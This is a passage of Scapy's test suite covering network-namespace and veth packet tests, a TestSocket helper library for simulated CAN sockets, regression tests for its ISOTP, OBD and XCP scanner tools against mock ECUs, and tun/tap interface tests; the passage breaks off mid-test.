netns blob1 up") exit_status |= os.system("ip addr add 100.64.2.1/24 dev scapy0.0") exit_status |= os.system("ip addr add 100.64.3.1/24 dev scapy1.0") exit_status |= os.system("ip --netns blob0 addr add 100.64.2.2/24 dev scapy0.1") exit_status |= os.system("ip --netns blob1 addr add 100.64.3.2/24 dev scapy1.1") exit_status |= os.system("ip link set scapy0.0 up") exit_status |= os.system("ip link set scapy1.0 up") assert exit_status == 0 conf.ifaces.reload() conf.route.resync() try: pkts = sr(IP(dst=["100.64.2.2", "100.64.3.2"])/ICMP(), timeout=1)[0] assert len(pkts) == 2 assert pkts[0].answer.src in ["100.64.2.2", "100.64.3.2"] assert pkts[1].answer.src in ["100.64.2.2", "100.64.3.2"] finally: e = os.system("ip netns del blob0") e = os.system("ip netns del blob1") conf.ifaces.reload() conf.route.resync() = sr() performance test ~ linux needs_root veth not_pypy import subprocess import shlex try: # Create a dedicated network name space to simulate remote host subprocess.check_call(shlex.split("sudo ip netns add scapy")) # Create a virtual Ethernet pair to connect default and new NS subprocess.check_call(shlex.split("sudo ip link add type veth")) # Move veth1 to the new NS subprocess.check_call(shlex.split("sudo ip link set veth1 netns scapy")) # Setup vNIC in the default NS subprocess.check_call(shlex.split("sudo ip link set veth0 up")) subprocess.check_call(shlex.split("sudo ip addr add 192.168.168.1/24 dev veth0")) # Setup vNIC in the dedicated NS subprocess.check_call(shlex.split("sudo ip netns exec scapy ip link set lo up")) subprocess.check_call(shlex.split("sudo ip netns exec scapy ip link set veth1 up")) subprocess.check_call(shlex.split("sudo ip netns exec scapy ip addr add 192.168.168.2/24 dev veth1")) # Perform test conf.route.resync() res, unansw = sr(IP(dst='192.168.168.2') / ICMP(seq=(1, 1000)), timeout=1, verbose=False) finally: try: # Bring down the interfaces subprocess.check_call(shlex.split("sudo ip netns exec scapy ip link set veth1 down")) subprocess.check_call(shlex.split("sudo ip netns exec scapy ip link set lo down")) # Delete the namespace subprocess.check_call(shlex.split("sudo ip netns delete scapy")) # Remove the virtual Ethernet pair subprocess.check_call(shlex.split("sudo ip link delete veth0")) except subprocess.CalledProcessError as e: print(f"Error during cleanup: {e}") len(res) == 1000 ================================================ FILE: test/testsocket.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Nils Weiss # scapy.contrib.description = TestSocket library for unit tests # scapy.contrib.status = library import time import random from threading import Lock from scapy.config import conf from scapy.automaton import ObjectPipe, select_objects from scapy.data import MTU from scapy.packet import Packet from scapy.error import Scapy_Exception # Typing imports from typing import ( Optional, Type, Tuple, Any, List, ) from scapy.supersocket import SuperSocket from scapy.plist import ( PacketList, SndRcvList, ) open_test_sockets = list() # type: List[TestSocket] class TestSocket(SuperSocket): test_socket_mutex = Lock() def __init__(self, basecls=None, # type: Optional[Type[Packet]] external_obj_pipe=None # type: Optional[ObjectPipe[bytes]] ): # type: (...) -> None global open_test_sockets self.basecls = basecls self.paired_sockets = list() # type: List[TestSocket] self.ins = external_obj_pipe or ObjectPipe(name="TestSocket") # type: ignore self._has_external_obj_pip = external_obj_pipe is not None self.outs = None open_test_sockets.append(self) def __enter__(self): # type: () -> TestSocket return self def __exit__(self, exc_type, exc_value, traceback): # type: (Optional[Type[BaseException]], Optional[BaseException], Optional[Any]) -> None # noqa: E501 """Close the socket""" self.close() def sr(self, *args, **kargs): # type: (Any, Any) -> Tuple[SndRcvList, PacketList] """Send and Receive multiple packets """ from scapy import sendrecv return sendrecv.sndrcv(self, *args, threaded=False, **kargs) def sr1(self, *args, **kargs): # type: (Any, Any) -> Optional[Packet] """Send one packet and receive one answer """ from scapy import sendrecv ans = sendrecv.sndrcv(self, *args, threaded=False, **kargs)[0] # type: SndRcvList if len(ans) > 0: pkt = ans[0][1] # type: Packet return pkt else: return None def close(self): # type: () -> None global open_test_sockets if self.closed: return for s in self.paired_sockets: try: s.paired_sockets.remove(self) except (ValueError, AttributeError, TypeError): pass if not self._has_external_obj_pip: super(TestSocket, self).close() else: # We don't close external object pipes self.closed = True try: open_test_sockets.remove(self) except (ValueError, AttributeError, TypeError): pass def pair(self, sock): # type: (TestSocket) -> None self.paired_sockets += [sock] sock.paired_sockets += [self] def send(self, x): # type: (Packet) -> int sx = bytes(x) for r in self.paired_sockets: r.ins.send(sx) try: x.sent_time = time.time() except AttributeError: pass return len(sx) def recv_raw(self, x=MTU): # type: (int) -> Tuple[Optional[Type[Packet]], Optional[bytes], Optional[float]] # noqa: E501 """Returns a tuple containing (cls, pkt_data, time)""" return self.basecls, self.ins.recv(0), time.time() @staticmethod def select(sockets, remain=conf.recv_poll_rate): # type: (List[SuperSocket], Optional[float]) -> List[SuperSocket] return select_objects(sockets, remain) class UnstableSocket(TestSocket): """ This is an unstable socket which randomly fires exceptions or loses packets on recv. """ def __init__(self, basecls=None, # type: Optional[Type[Packet]] external_obj_pipe=None # type: Optional[ObjectPipe[bytes]] ): # type: (...) -> None super(UnstableSocket, self).__init__(basecls, external_obj_pipe) self.no_error_for_x_rx_pkts = 10 self.no_error_for_x_tx_pkts = 10 def send(self, x): # type: (Packet) -> int if self.no_error_for_x_tx_pkts == 0: if random.randint(0, 1000) == 42: self.no_error_for_x_tx_pkts = 10 print("SOCKET CLOSED") raise OSError("Socket closed") if self.no_error_for_x_tx_pkts > 0: self.no_error_for_x_tx_pkts -= 1 return super(UnstableSocket, self).send(x) def recv(self, x=MTU, **kwargs): # type: (int, **Any) -> Optional[Packet] if self.no_error_for_x_tx_pkts == 0: if random.randint(0, 1000) == 42: self.no_error_for_x_tx_pkts = 10 raise OSError("Socket closed") if random.randint(0, 1000) == 13: self.no_error_for_x_tx_pkts = 10 raise Scapy_Exception("Socket closed") if random.randint(0, 1000) == 7: self.no_error_for_x_tx_pkts = 10 raise ValueError("Socket closed") if random.randint(0, 1000) == 113: self.no_error_for_x_tx_pkts = 10 return None if self.no_error_for_x_tx_pkts > 0: self.no_error_for_x_tx_pkts -= 1 return super(UnstableSocket, self).recv(x, **kwargs) class SlowTestSocket(TestSocket): """A TestSocket that simulates the mux/throttle behavior of PythonCANSocket on a slow serial interface (like slcan). Frames sent to this socket go into an intermediate serial buffer. They only become visible to recv()/select() after mux() moves them to the rx ObjectPipe. Key parameters model the real slcan timing bottleneck: - frame_delay: per-frame serial read time (~2-3ms on real slcan) - serial_timeout: blocking wait when serial buffer is empty. Real python-can slcan uses serial.Serial(timeout=0.1), so bus.recv(timeout=0) blocks for 100ms when buffer is empty. - read_time_limit: max time spent reading per mux call, matching SocketMapper.READ_BUS_TIME_LIMIT in production code. can_filters: Optional list of CAN identifiers for per-socket filtering. When set, mux reads all frames but only delivers matching ones, like SocketMapper.distribute() + _matches_filters. """ def __init__(self, basecls=None, frame_delay=0.0002, mux_throttle=0.001, can_filters=None, serial_timeout=0.0, read_time_limit=0.0, interface_name="slcan"): # type: (Optional[Type[Packet]], float, float, Optional[List[int]], float, float, str) -> None # noqa: E501 """ :param frame_delay: Simulated per-frame serial read time (seconds). :param mux_throttle: Minimum time between mux calls (default 1ms). :param can_filters: Optional list of CAN identifiers for filtering. :param serial_timeout: Time to block when serial buffer is empty (models python-can slcan serial.Serial(timeout=0.1)). Set to 0.1 to reproduce real slcan behavior. :param read_time_limit: Max time per mux read pass (seconds). Set to 0.02 to match SocketMapper.READ_BUS_TIME_LIMIT. When 0 (default), no time limit is applied. :param interface_name: Simulated interface name (default "slcan"). Used in test descriptions to identify the adapter type. """ super(SlowTestSocket, self).__init__(basecls) self.interface_name = interface_name from collections import deque self._serial_buffer = deque() # type: deque[bytes] self._serial_lock = Lock() self._last_mux = 0.0 self._frame_delay = frame_delay self._mux_throttle = mux_throttle self._can_filters = can_filters self._serial_timeout = serial_timeout self._read_time_limit = read_time_limit self._real_ins = self.ins self.ins = _SlowPipeWrapper(self) # type: ignore[assignment] @staticmethod def _extract_can_id(frame): # type: (bytes) -> int """Extract CAN identifier from raw CAN frame bytes.""" import struct if len(frame) < 4: return -1 return int(struct.unpack('!I', frame[:4])[0] & 0x1FFFFFFF) def _mux(self): # type: () -> None """Move frames from serial buffer to rx ObjectPipe. Models the real PythonCANSocket read path: 1. read_bus(): loop calling bus.recv(timeout=0) — each call takes frame_delay when data is available, or serial_timeout when the buffer is empty (modeling slcan serial timeout). 2. distribute(): deliver matching frames to the ObjectPipe. With read_time_limit > 0, the read loop stops after that many seconds (matching SocketMapper.READ_BUS_TIME_LIMIT). """ now = time.monotonic() if now - self._last_mux < self._mux_throttle: return # Phase 1: read_bus — read frames from serial buffer msgs = [] deadline = time.monotonic() + self._read_time_limit \ if self._read_time_limit > 0 else None while True: if self.closed: break with self._serial_lock: if self._serial_buffer: frame = self._serial_buffer.popleft() else: frame = None if frame is None: # Empty buffer: model the serial timeout blocking if self._serial_timeout > 0: time.sleep(self._serial_timeout) break if self._frame_delay > 0: time.sleep(self._frame_delay) msgs.append(frame) if deadline and time.monotonic() >= deadline: break # Phase 2: distribute — apply per-socket filtering for frame in msgs: if self._can_filters is not None: can_id = self._extract_can_id(frame) if can_id not in self._can_filters: continue self._real_ins.send(frame) self._last_mux = time.monotonic() def recv_raw(self, x=MTU): # type: (int) -> Tuple[Optional[Type[Packet]], Optional[bytes], Optional[float]] # noqa: E501 """Read from the rx ObjectPipe (populated by mux via select).""" return self.basecls, self._real_ins.recv(0), time.time() def send(self, x): # type: (Packet) -> int if self._frame_delay > 0: time.sleep(self._frame_delay) return super(SlowTestSocket, self).send(x) @staticmethod def select(sockets, remain=conf.recv_poll_rate): # type: (List[SuperSocket], Optional[float]) -> List[SuperSocket] for s in sockets: if isinstance(s, SlowTestSocket): s._mux() return select_objects(sockets, remain) def close(self): # type: () -> None self.ins = self._real_ins super(SlowTestSocket, self).close() class _SlowPipeWrapper: """Wrapper that intercepts send() to route into serial buffer.""" def __init__(self, owner): # type: (SlowTestSocket) -> None self._owner = owner def send(self, data): # type: (bytes) -> None with self._owner._serial_lock: self._owner._serial_buffer.append(data) def recv(self, timeout=0): # type: (int) -> Optional[bytes] return self._owner._real_ins.recv(timeout) def fileno(self): # type: () -> int return self._owner._real_ins.fileno() def close(self): # type: () -> None self._owner._real_ins.close() @property def closed(self): # type: () -> bool return bool(self._owner._real_ins.closed) # type: ignore[attr-defined] def cleanup_testsockets(): # type: () -> None """ Helper function to remove TestSocket objects after a test """ count = max(len(open_test_sockets), 1) while len(open_test_sockets) and count: sock = open_test_sockets[0] sock.close() count -= 1 ================================================ FILE: test/tools/isotpscanner.uts ================================================ % Regression tests for isotpscanner ~ vcan_socket needs_root linux not_pypy automotive_comm scanner + Configuration ~ conf = Imports with open(scapy_path("test/contrib/automotive/interface_mockup.py")) as f: exec(f.read()) ISOTPSocket = ISOTPSoftSocket from unittest.mock import patch + Usage tests = Test wrong usage result = subprocess.Popen([sys.executable, "scapy/tools/automotive/isotpscanner.py"], stdout=subprocess.PIPE, stderr=subprocess.PIPE) std_out, std_err = result.communicate() if result.returncode: print(std_out) print(std_err) assert result.returncode != 0 expected_output = plain_str(b'usage:') assert expected_output in plain_str(std_err) = Test show help result = subprocess.Popen([sys.executable, "scapy/tools/automotive/isotpscanner.py", "--help"], stdout=subprocess.PIPE, stderr=subprocess.PIPE) std_out, _ = result.communicate() expected_output = plain_str(b'Scan for open ISOTP-Sockets.') assert result.wait() == 0 assert expected_output in plain_str(std_out) = Test Python2 call result = subprocess.Popen([sys.executable, "scapy/tools/automotive/isotpscanner.py", "-i", "socketcan", "-c", iface0, "-s", "0x600", "-e", "0x600", "-v", "-n", "0", "-t", "0"], stdout=subprocess.PIPE, stderr=subprocess.PIPE) returncode = result.wait() expected_output = plain_str(b'Start scan') std_out, std_err = result.communicate() assert returncode == 0 assert expected_output in plain_str(std_out) = Test Python2 call with one python-can arg result = subprocess.Popen([sys.executable, "scapy/tools/automotive/isotpscanner.py", "-i", "socketcan", "-c", iface0, "-a", "bitrate=500000", "-s", "0x600", "-e", "0x600", "-v", "-n", "0", "-t", "0"], stdout=subprocess.PIPE, stderr=subprocess.PIPE) returncode = result.wait() expected_output = plain_str(b'Start scan') std_out, std_err = result.communicate() assert returncode == 0 assert expected_output in plain_str(std_out) = Test Python2 call with multiple python-can args result = subprocess.Popen([sys.executable, "scapy/tools/automotive/isotpscanner.py", "-i", "socketcan", "-c", iface0, "-a", "bitrate=500000 receive_own_messages=True", "-s", "0x600", "-e", "0x600", "-v", "-n", "0", "-t", "0"], stdout=subprocess.PIPE, stderr=subprocess.PIPE) returncode = result.wait() expected_output = plain_str(b'Start scan') std_out, std_err = result.communicate() assert returncode == 0 assert expected_output in plain_str(std_out) = Test Python2 call with multiple python-can args 2 result = subprocess.Popen([sys.executable, "scapy/tools/automotive/isotpscanner.py", "-i", "socketcan", "-c", iface0, "--python-can_args", "bitrate=500000 receive_own_messages=True", "-s", "0x600", "-e", "0x600", "-v", "-n", "0", "-t", "0"], stdout=subprocess.PIPE, stderr=subprocess.PIPE) returncode = result.wait() expected_output = plain_str(b'Start scan') std_out, std_err = result.communicate() assert returncode == 0 assert expected_output in plain_str(std_out) + Scan tests = Test standard scan exit_if_no_isotp_module() drain_bus(iface0) recv_result = subprocess.Popen(("isotprecv -s 700 -d 600 -l " + iface0).split()) result = subprocess.Popen([sys.executable, "scapy/tools/automotive/isotpscanner.py"] + can_socket_string_list + ["-s", "0x600", "-e", "0x600"], stdout=subprocess.PIPE, stderr=subprocess.PIPE) returncode1 = result.wait() std_out1, std_err1 = result.communicate() recv_result.terminate() print(std_out1) print(std_err1) assert returncode1 == 0 expected_output = [b'0x600', b'0x700'] for out in expected_output: assert plain_str(out) in plain_str(std_out1) = Test extended scan def isotp_scan(sock, # type: SuperSocket scan_range=range(0x7ff + 1), # type: Iterable[int] extended_addressing=False, # type: bool extended_scan_range=range(0x100), # type: Iterable[int] noise_listen_time=2, # type: int sniff_time=0.1, # type: float output_format=None, # type: Optional[str] can_interface=None, # type: Optional[str] extended_can_id=False, # type: bool verbose=False # type: bool ): # type: (...) -> Union[str, List[SuperSocket]] assert sock is not None assert 0x601 in scan_range assert 0x602 not in scan_range assert extended_addressing == True assert 0 in extended_scan_range assert 0xff in extended_scan_range assert output_format == "text" assert verbose == False assert extended_can_id == False assert "vcan0" in can_interface return "Success" testargs = ["scapy/tools/automotive/isotpscanner.py"] + can_socket_string_list + ["-s", "0x601", "-e", "0x601", "-x"] with patch.object(sys, "argv", testargs), patch.object(scapy.contrib.isotp, "isotp_scan", isotp_scan): from scapy.tools.automotive.isotpscanner import main main() = Test scan with piso flag def isotp_scan(sock, # type: SuperSocket scan_range=range(0x7ff + 1), # type: Iterable[int] extended_addressing=False, # type: bool extended_scan_range=range(0x100), # type: Iterable[int] noise_listen_time=2, # type: int sniff_time=0.1, # type: float output_format=None, # type: Optional[str] can_interface=None, # type: Optional[str] extended_can_id=False, # type: bool verbose=False # type: bool ): # type: (...) -> Union[str, List[SuperSocket]] assert sock is not None assert 0x601 in scan_range assert 0x602 not in scan_range assert extended_addressing == True assert 0 in extended_scan_range assert 0xff in extended_scan_range assert output_format == "code" assert verbose == False assert extended_can_id == False assert "vcan0" in can_interface return "Success" testargs = ["scapy/tools/automotive/isotpscanner.py"] + can_socket_string_list + ["-s", "0x601", "-e", "0x601", "-x", "-C"] with patch.object(sys, "argv", testargs), patch.object(scapy.contrib.isotp, "isotp_scan", isotp_scan): from scapy.tools.automotive.isotpscanner import main main() + Cleanup = Delete vcan interfaces assert cleanup_interfaces() ================================================ FILE: test/tools/obdscanner.uts ================================================ % Regression tests for obdscanner ~ vcan_socket needs_root linux not_pypy automotive_comm scanner + Configuration ~ conf = Imports with open(scapy_path("test/contrib/automotive/interface_mockup.py")) as f: exec(f.read()) load_contrib("automotive.ecu", globals_dict=globals()) + Usage tests = Test wrong usage print(sys.executable) result = subprocess.Popen([sys.executable, "scapy/tools/automotive/obdscanner.py"], stdout=subprocess.PIPE, stderr=subprocess.PIPE) returncode = result.wait() std_out, std_err = result.communicate() assert returncode != 0 expected_output = plain_str(b'usage:') assert expected_output in plain_str(std_err) = Test show help result = subprocess.Popen([sys.executable, "scapy/tools/automotive/obdscanner.py", "--help"], stdout=subprocess.PIPE, stderr=subprocess.PIPE) assert result.wait() == 0 std_out, std_err = result.communicate() expected_output = plain_str(b'Scan for all possible obd service classes and their subfunctions.') assert expected_output in plain_str(std_out) + Scan tests = Load contribution layer from scapy.contrib.automotive.obd.obd import * + Simulate scanner = Test DTC scan drain_bus(iface0) s3 = OBD()/OBD_S03_PR(dtcs=[OBD_DTC()]) example_responses = [EcuResponse(responses=s3)] with new_can_socket0() as isocan, ISOTPSocket(isocan, 0x7e8, 0x7e0, basecls=OBD, padding=True) as ecu, \ new_can_socket0() as isocan2, ISOTPSocket(isocan2, 0x7e0, 0x7e8, basecls=OBD, padding=True) as tester: conf.verb = -1 answering_machine = EcuAnsweringMachine(supported_responses=example_responses, main_socket=ecu, basecls=OBD, verbose=False) sim = threading.Thread(target=answering_machine, kwargs={'verbose': False, 'timeout': 15, 'stop_filter': lambda p: bytes(p) == b"\x01\xff\xff\xff\xff"}) sim.start() try: result = subprocess.Popen([sys.executable, "scapy/tools/automotive/obdscanner.py"] + can_socket_string_list + ["-s", "0x7e0", "-d", "0x7e8", "-t", "0.30"], stdout=subprocess.PIPE, stderr=subprocess.PIPE) std_out1, std_err1 = result.communicate() result = subprocess.Popen([sys.executable, "scapy/tools/automotive/obdscanner.py"] + can_socket_string_list + ["-s", "0x7e0", "-d", "0x7e8", "-t", "0.30"], stdout=subprocess.PIPE, stderr=subprocess.PIPE) std_out2, std_err2 = result.communicate() except Exception as e: print(e) finally: tester.send(b"\x01\xff\xff\xff\xff") sim.join(timeout=10) expected_output = b"1 requests were sent, 1 answered" assert bytes_encode(expected_output) in bytes_encode(std_out1) or bytes_encode(expected_output) in bytes_encode(std_out2) = Test supported PIDs scan drain_bus(iface0) s1_pid00 = OBD()/OBD_S01_PR(data_records=[OBD_S01_PR_Record()/OBD_PID00(supported_pids="PID03+PID0B+PID0F")]) s6_mid00 = OBD()/OBD_S06_PR(data_records=[OBD_S06_PR_Record()/OBD_MID00(supported_mids="")]) s8_tid00 = OBD()/OBD_S08_PR(data_records=[OBD_S08_PR_Record()/OBD_TID00(supported_tids="")]) s9_iid00 = OBD()/OBD_S09_PR(data_records=[OBD_S09_PR_Record()/OBD_IID00(supported_iids="")]) s1_pid03 = OBD()/OBD_S01_PR(data_records=[OBD_S01_PR_Record()/OBD_PID03(fuel_system1=0, fuel_system2=2)]) s1_pid0B = OBD()/OBD_S01_PR(data_records=[OBD_S01_PR_Record()/OBD_PID0B(data=100)]) s1_pid0F = OBD()/OBD_S01_PR(data_records=[OBD_S01_PR_Record()/OBD_PID0F(data=50)]) # Create answers for 'supported PIDs scan' example_responses = \ [EcuResponse(responses=s3), EcuResponse(responses=s1_pid00), EcuResponse(responses=s6_mid00), EcuResponse(responses=s8_tid00), EcuResponse(responses=s9_iid00), EcuResponse(responses=s1_pid03), EcuResponse(responses=s1_pid0B), EcuResponse(responses=s1_pid0F)] with new_can_socket0() as isocan, ISOTPSocket(isocan, 0x7e8, 0x7e0, basecls=OBD, padding=True) as ecu, \ new_can_socket0() as isocan2, ISOTPSocket(isocan2, 0x7e0, 0x7e8, basecls=OBD, padding=True) as tester: answering_machine = EcuAnsweringMachine(supported_responses=example_responses, main_socket=ecu, basecls=OBD, verbose=False) sim = threading.Thread(target=answering_machine, kwargs={'verbose': False, 'timeout': 100, 'stop_filter': lambda p: bytes(p) == b"\x01\xff\xff\xff\xff"}) sim.start() try: result = subprocess.Popen([sys.executable, "scapy/tools/automotive/obdscanner.py"] + can_socket_string_list + ["-s", "0x7e0", "-d", "0x7e8", "-t", "0.30"], stdout=subprocess.PIPE, stderr=subprocess.PIPE) std_out1, std_err1 = result.communicate() print(std_out2, std_err2) result = subprocess.Popen([sys.executable, "scapy/tools/automotive/obdscanner.py"] + can_socket_string_list + ["-s", "0x7e0", "-d", "0x7e8", "-t", "0.30"], stdout=subprocess.PIPE, stderr=subprocess.PIPE) std_out2, std_err2 = result.communicate() print(std_out2, std_err2) except Exception as e: print(e) finally: tester.send(b"\x01\xff\xff\xff\xff") sim.join(timeout=10) expected_output = ["supported_pids=PID0F+PID0B+PID03", "fuel_system1=OpenLoopInsufficientEngineTemperature fuel_system2=ClosedLoop", "data=100 kPa", "data=50.0 deg. C"] for out in expected_output: assert bytes_encode(out) in bytes_encode(std_out1) or bytes_encode(out) in bytes_encode(std_out2) = Test only Service 01 PIDs scan drain_bus(iface0) s1_pid00 = OBD()/OBD_S01_PR(data_records=[OBD_S01_PR_Record()/OBD_PID00(supported_pids="PID03+PID0B+PID0F")]) s6_mid00 = OBD()/OBD_S06_PR(data_records=[OBD_S06_PR_Record()/OBD_MID00(supported_mids="")]) s8_tid00 = OBD()/OBD_S08_PR(data_records=[OBD_S08_PR_Record()/OBD_TID00(supported_tids="")]) s9_iid00 = OBD()/OBD_S09_PR(data_records=[OBD_S09_PR_Record()/OBD_IID00(supported_iids="")]) s1_pid03 = OBD()/OBD_S01_PR(data_records=[OBD_S01_PR_Record()/OBD_PID03(fuel_system1=0, fuel_system2=2)]) s1_pid0B = OBD()/OBD_S01_PR(data_records=[OBD_S01_PR_Record()/OBD_PID0B(data=100)]) s1_pid0F = OBD()/OBD_S01_PR(data_records=[OBD_S01_PR_Record()/OBD_PID0F(data=50)]) # Create answers for 'supported PIDs scan' example_responses = \ [EcuResponse(responses=s3), EcuResponse(responses=s1_pid00), EcuResponse(responses=s6_mid00), EcuResponse(responses=s8_tid00), EcuResponse(responses=s9_iid00), EcuResponse(responses=s1_pid03), EcuResponse(responses=s1_pid0B), EcuResponse(responses=s1_pid0F)] with new_can_socket0() as isocan, ISOTPSocket(isocan, 0x7e8, 0x7e0, basecls=OBD, padding=True) as ecu, \ new_can_socket0() as isocan2, ISOTPSocket(isocan2, 0x7e0, 0x7e8, basecls=OBD, padding=True) as tester: answering_machine = EcuAnsweringMachine(supported_responses=example_responses, main_socket=ecu, basecls=OBD, verbose=False) sim = threading.Thread(target=answering_machine, kwargs={'verbose': False, 'timeout': 100, 'stop_filter': lambda p: bytes(p) == b"\x01\xff\xff\xff\xff"}) sim.start() try: result = subprocess.Popen([sys.executable, "scapy/tools/automotive/obdscanner.py"] + can_socket_string_list + ["-s", "0x7e0", "-d", "0x7e8", "-t", "0.30", "-1"], stdout=subprocess.PIPE, stderr=subprocess.PIPE) std_out1, std_err1 = result.communicate() print(std_out1, std_err1) result = subprocess.Popen([sys.executable, "scapy/tools/automotive/obdscanner.py"] + can_socket_string_list + ["-s", "0x7e0", "-d", "0x7e8", "-t", "0.30", "-1"], stdout=subprocess.PIPE, stderr=subprocess.PIPE) std_out2, std_err2 = result.communicate() print(std_out2, std_err2) except Exception as e: print(e) finally: tester.send(b"\x01\xff\xff\xff\xff") sim.join(timeout=10) expected_output = ["supported_pids=PID0F+PID0B+PID03", "fuel_system1=OpenLoopInsufficientEngineTemperature fuel_system2=ClosedLoop", "data=100 kPa", "data=50.0 deg. C"] for out in expected_output: assert bytes_encode(out) in bytes_encode(std_out1) or bytes_encode(out) in bytes_encode(std_out2) = Test full scan drain_bus(iface0) # Add unsupported PID s1_pid01 = OBD()/OBD_S01_PR(data_records=[OBD_S01_PR_Record()/OBD_PID01()]) example_responses.append(EcuResponse(responses=s1_pid01)) with new_can_socket0() as isocan, ISOTPSocket(isocan, 0x7e8, 0x7e0, basecls=OBD, padding=True) as ecu, \ new_can_socket0() as isocan2, ISOTPSocket(isocan2, 0x7e0, 0x7e8, basecls=OBD, padding=True) as tester: answering_machine = EcuAnsweringMachine(supported_responses=example_responses, main_socket=ecu, basecls=OBD, verbose=False) sim = threading.Thread(target=answering_machine, kwargs={'verbose': False, 'timeout': 100, 'stop_filter': lambda p: bytes(p) == b"\x01\xff\xff\xff\xff"}) sim.start() try: result = subprocess.Popen([sys.executable, "scapy/tools/automotive/obdscanner.py"] + can_socket_string_list + ["-s", "0x7e0", "-d", "0x7e8", "-t", "0.30", "-f", "-1", "-3"], stdout=subprocess.PIPE, stderr=subprocess.PIPE) std_out1, std_err1 = result.communicate() result = subprocess.Popen([sys.executable, "scapy/tools/automotive/obdscanner.py"] + can_socket_string_list + ["-s", "0x7e0", "-d", "0x7e8", "-t", "0.30", "-f", "-1", "-3"], stdout=subprocess.PIPE, stderr=subprocess.PIPE) std_out2, std_err2 = result.communicate() except Exception as e: print(e) finally: tester.send(b"\x01\xff\xff\xff\xff") sim.join(timeout=10) expected_output = ["256 requests were sent", "1 requests were sent, 1 answered"] for out in expected_output: assert bytes_encode(out) in bytes_encode(std_out1) or bytes_encode(out) in bytes_encode(std_out2) + Cleanup = Delete vcan interfaces assert cleanup_interfaces() ================================================ FILE: test/tools/xcpscanner.uts ================================================ % Regression tests for the XCP_CAN ~ scanner + Basic operations = Imports from test.testsocket import TestSocket, cleanup_testsockets + Tests XCPonCAN Scanner = modules load_contrib("automotive.xcp.xcp", globals_dict=globals()) load_contrib("automotive.xcp.scanner", globals_dict=globals()) = xcp can scanner broadcast ID-Range id_range = range(50, 53) slave_id_1 = 10 response_id_1 = 11 slave_id_2 = 20 response_id_2 = 21 slave_1_response = XCPOnCAN(identifier=response_id_1) / CTOResponse(packet_code=0xFF) / TransportLayerCmdGetSlaveIdResponse(can_identifier=slave_id_1) slave_2_response = XCPOnCAN(identifier=response_id_2) / CTOResponse(packet_code=0xFF) / TransportLayerCmdGetSlaveIdResponse(can_identifier=slave_id_2) random_xcp_response_1 = XCPOnCAN(identifier=30) / CTOResponse(packet_code=0xFF) / GenericResponse(b"\x00\x00") random_xcp_response_2 = XCPOnCAN(identifier=40) / CTOResponse(packet_code=0xFF) / GenericResponse(b"\x00\x00") sock1 = TestSocket(XCPOnCAN) sock2 = TestSocket(XCPOnCAN) sock1.pair(sock2) def ecu(): for i in range(50, 53): sock1.sniff(count=1, store=False, timeout=2) if i == 50: sock1.send(CAN(identifier=0x90, data=b'\x01\x02\x03')) sock1.send(CAN(identifier=0x90, data=b'\x05\x02\x03')) sock1.send(CAN(identifier=0x90, data=b'\xff\x05\x03')) if i == 51: sock1.send(random_xcp_response_1) sock1.send(random_xcp_response_2) if i == 52: sock1.send(slave_1_response) sock1.send(slave_2_response) thread = threading.Thread(target=ecu) thread.start() scanner = XCPOnCANScanner(sock2, id_range=id_range, sniff_time=0.5) result = scanner.scan_with_get_slave_id() thread.join(timeout=3) sock1.close() sock2.close() assert len(result) == 2 assert result[0].request_id == slave_id_1 assert result[0].response_id == response_id_1 assert result[1].request_id == slave_id_2 assert result[1].response_id == response_id_2 = xcp can scanner connect ID-range id_range = range(50, 53) slave_id = 52 response_id = 11 connect_response = XCPOnCAN(identifier=response_id) / CTOResponse(packet_code=0xFF) / ConnectPositiveResponse() random_xcp_response_1 = XCPOnCAN(identifier=30) / CTOResponse(packet_code=0xFF) / GenericResponse(b"\x00\x00") random_xcp_response_2 = XCPOnCAN(identifier=40) / CTOResponse(packet_code=0xFF) / GenericResponse(b"\x10") sock1 = TestSocket(XCPOnCAN) sock2 = TestSocket(XCPOnCAN) sock1.pair(sock2) def ecu(): for i in range(50, 53): sock1.sniff(count=1, store=False, timeout=2) if i == 50: sock1.send(CAN(identifier=0x90, data=b'\x01\x02\x03')) sock1.send(CAN(identifier=0x90, data=b'\xff\x05\x03')) if i == 51: sock1.send(CAN(identifier=0x90, data=b'\x05\x02\x03')) sock1.send(random_xcp_response_1) sock1.send(random_xcp_response_2) if i == slave_id: sock1.send(CAN(identifier=0x90, data=b'\xff\x05\x03')) sock1.send(connect_response) thread = threading.Thread(target=ecu) thread.start() scanner = XCPOnCANScanner(sock2, id_range=id_range, sniff_time=0.5) result = scanner.scan_with_connect() thread.join(timeout=3) sock1.close() sock2.close() assert len(result) == 1 assert result[0].request_id == slave_id assert result[0].response_id == response_id + Cleanup = Delete TestSockets cleanup_testsockets() ================================================ FILE: test/tuntap.uts ================================================ % tuntap tests for Scapy # Packet capture-based tests are in sendsniff.uts ####### + Test Linux-specific protocol headers for TunTap ~ linux tun not_libpcap = Linux-specific protocol headers p = LinuxTunPacketInfo()/IP() assert p.type == 2048 p = LinuxTunPacketInfo(raw(p)) assert p.type == 2048 assert isinstance(p.payload, IP) p = LinuxTunPacketInfo()/IPv6() assert p.type == 0x86dd p = LinuxTunPacketInfo(raw(p)) assert p.type == 0x86dd assert isinstance(p.payload, IPv6) ####### + Test Darwin-specific protocol headers for utun ~ osx utun not_libpcap = Darwin-specific protocol headers p = DarwinUtunPacketInfo()/IP() assert p.addr_family == 2 p = DarwinUtunPacketInfo(raw(p)) assert p.addr_family == 2 assert isinstance(p.payload, IP) p = DarwinUtunPacketInfo()/IPv6() assert p.addr_family == socket.AF_INET6 p = DarwinUtunPacketInfo(raw(p)) assert p.addr_family == socket.AF_INET6 assert isinstance(p.payload, IPv6) ####### + Test tun device ~ tun needs_root not_libpcap = Create a tun interface import subprocess from threading import Thread tun0 = TunTapInterface("tun0", strip_packet_info=False) if LINUX: assert subprocess.check_call(["ip", "link", "set", "tun0", "up"]) == 0 assert subprocess.check_call([ "ip", "addr", "change", "192.0.2.1", "peer", "192.0.2.2", "dev", "tun0"]) == 0 elif BSD: assert subprocess.check_call(["ifconfig", "tun0", "up"]) == 0 assert subprocess.check_call([ "ifconfig", "tun0", "192.0.2.1", "192.0.2.2"]) == 0 else: raise NotImplementedError() conf.ifaces.reload() conf.route.resync() conf.route6.resync() = Setup ICMPEcho_am on the interface am = tun0.am(ICMPEcho_am, count=3) am.defoptsniff['timeout'] = 5 t_am = Thread(target=am) t_am.start() = Send ping packets from OS into scapy 